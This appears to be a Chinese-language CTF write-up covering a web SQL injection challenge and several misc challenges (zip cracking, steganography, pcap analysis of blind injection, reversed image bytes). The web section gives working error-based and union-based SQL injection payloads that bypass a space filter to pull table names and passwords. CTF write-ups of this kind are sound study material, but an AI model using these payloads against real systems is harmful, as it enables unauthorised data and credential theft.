Web
babysqli
burp抓包,發現有
的過濾,用/**/過濾空格。
-
報錯注入
payload
username=admin&password='/**/or/**/extractvalue(1,concat(1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/x,1)))#
,變更x的值,找到表,進而找列,然後查欄位最終找到flag這裡可以發現flag後面半段沒有顯示,改
password
為mid(password,20,30)
即可回顯後半部分。 -
聯合注入
最麻煩的地方是
order
被過濾掉了,需要手動一個一個嘗試有幾列payload
username=admin&password='/**/union/**/select/**/1,2,3,(select/**/password/**/from/**/users/**/limit/**/7,1),5,6,7,8#
一直嘗試到8發現回顯了4,再把4位置改為select...即可
剩下的4道web題,我是真的做不下去了,題解和視訊都看不懂,感覺已經到了一個瓶頸,接下來的一個月嘗試學一下開發。
Misc
能看到我嗎
要注意檔名的提示
題目得到一張number.jpg檔案,扔進010卻發現頭為pk,改字尾為zip得到壓縮包檔案。
!!!重點來了!!!
得到了number.zip壓縮包後呢,我下意識還是看了看是不是偽加密,前不久做了好幾道偽加密的題,但010檢視發現卻是真加密,改的話檔案會損壞,於是我花了很久很久時間搗鼓密碼是啥,把大寫小寫數字組合全都試了(只試了7位數,組合的話超過7位數爆破時間差不多要幾個小時),都還是失敗...
重點就在壓縮包的名字number.zip,這不都告訴你密碼是純數字了嗎???看到題解我要哭出來了...
得到密碼後又得到一張圖片,扔進010也沒啥資訊,丟到kali binwalk看一下。
發現有兩張圖片,foremost拿出來,發現是兩張一模一樣的圖片..之前在攻防世界有做過盲水印的題,用指令碼得到最終flag
別做題了聽歌吧
這題真的就到最後一步 我要吐血了..
拿到《anheqiao》音訊檔案,二話不說放進audacity裡,半天啥也沒看出來,聯絡到提示:別問,問就是cumt,猜測是音訊隱寫,加密密碼為cumt
開啟txt文字發現有大小但是是空的,看來又是隱寫,用010開啟發現一堆0909 2020 0D0A的玩意,然後我感覺這個有點像摩斯編碼,於是寫指令碼去試了試
然後去線上摩斯編碼轉換網站試試:
單純的我只是覺得這是一串沒有任何規律的亂碼,然後又去試了試排列組合,但都能沒出現類似CUMTCTF這樣明顯的flag,...看到題解我才發現,原來這一串亂碼加上CUMTCTF{}就是flag..(亂碼的後面 AND8MP3ST390!!已經有提示了)
兔兔那麼可愛
下載得到一個flag檔案和一張很多兔子的圖片,提示:圖片內沒有任何與flag相關的資訊,很多數學家都喜歡兔兔
,把flag檔案扔進010。
可以發現我們想要的flag字首 CUMTCTF 對應位置:
0 1 2 4 7 12 除了第一個和第二後 ,後面每一個都是前兩個相加+1,破案了!!就是喜歡兔子的數學家斐波那契,python指令碼
string=''
with open('flag', 'r') as f:
string = f.read()
a=0
b=0
for i in range(0,26):
c=a+b+1
a=b
b=c
print(string[a],end="")
為什麼是26次呢,這個可以通過len(string)得到長度然後慢慢試的。
大鯊魚之你可使勁找
這題感謝魔龍學長的指點
下載得到流量包,在wireshark裡面看一下,搜尋flag發現是二分法盲注爆資料庫,追蹤tcp流,把資料全部複製在txt裡貼上出來一個一個分析,因為有很多流(我之前只分析了一個..),可以根據CUMTCTF第一個字元C的ascii值67去判斷資料在哪一個流裡。
這裡>66是正確的,又是最後一個,所以第一個字元ASCII為67即為C,把資料所有76前的儲存下來轉碼。
b=[67,85,77,84,67,84,70,123,99,101,99,99,49,51,57,52,45,54,49,51,51,45,52,51,100,48,45,98,101,48,54,45,97,52,49,99,53,102,50,51,49,100,100,52,125,32]
for i in range (len(b)):
print(chr(b[i]),end='')
這從上千條資料裡找到這40多條,真的麻了..
殘缺的大鯊魚
這道題真的考驗耐性和細緻。
下載得到流量包,在wireshark裡面看一下,搜尋發現flag.zip檔案,跟蹤tcp,把原始資料複製轉移到010裡,把50 4B前的http資訊全部刪了,儲存為zip檔案。
壓縮得到flag檔案,扔進010
在尾部發現 D8 FF,FF D8是圖片檔案的檔案頭,猜測是flag是反過來的圖片檔案,python還原。
string=''
with open('flag','rb') as f:
string=f.read()
with open('flag.jpg','wb') as w:
w.write(string[::-1])
好吧又是一張圖片,扔進010裡看一下..
觀察可以發現,圖片內藏有bbxxss.txt檔案,但用kali foremost並沒能分離出來,應該是缺少了檔案頭,搜尋壓縮包檔案頭後面有 03 04 14 00 ,在前面補上50 4B儲存,即可儲存為zip檔案解壓(或者foremost分離出來),得到bbxxss.txt。
在盧學長的指點下,利用emoji解碼即可。
時光機
明天補上吧 需要git知識..